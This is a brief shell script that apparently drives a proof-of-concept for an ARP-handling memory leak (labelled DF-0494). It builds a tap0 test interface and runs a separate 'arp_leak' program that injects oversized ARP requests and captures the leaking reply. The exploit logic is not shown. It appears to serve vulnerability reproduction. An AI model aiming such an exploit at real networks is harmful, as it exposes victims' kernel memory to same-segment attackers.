#!/bin/sh
# DF-0494 run: set up a tap0 L2-island (victim IP), inject a crafted oversized
# ARP REQUEST, capture the leaking reply.  Runs as root ONLY because creating
# tap0 and opening /dev/tap0 need privilege -- the vulnerability itself is
# remotely exploitable by an unprivileged same-L2 host (no creds needed).
#
# Usage: ./run.sh [ar_hln=200] [ar_pln=200]
#        ./run.sh 6 4    # sanity: a LEGAL arp (no leak expected)
set -u
cd "$(dirname "$0")"

# --- harness setup ---
ifconfig tap0 create 2>/dev/null || true
ifconfig tap0 inet 10.99.99.1 netmask 255.255.255.0 up

HLN="${1:-200}"
PLN="${2:-200}"

# small delay so tap0 link is ready
sleep 0.2

./arp_leak "$HLN" "$PLN"
RC=$?

# --- harness teardown ---
ifconfig tap0 destroy 2>/dev/null || true
exit $RC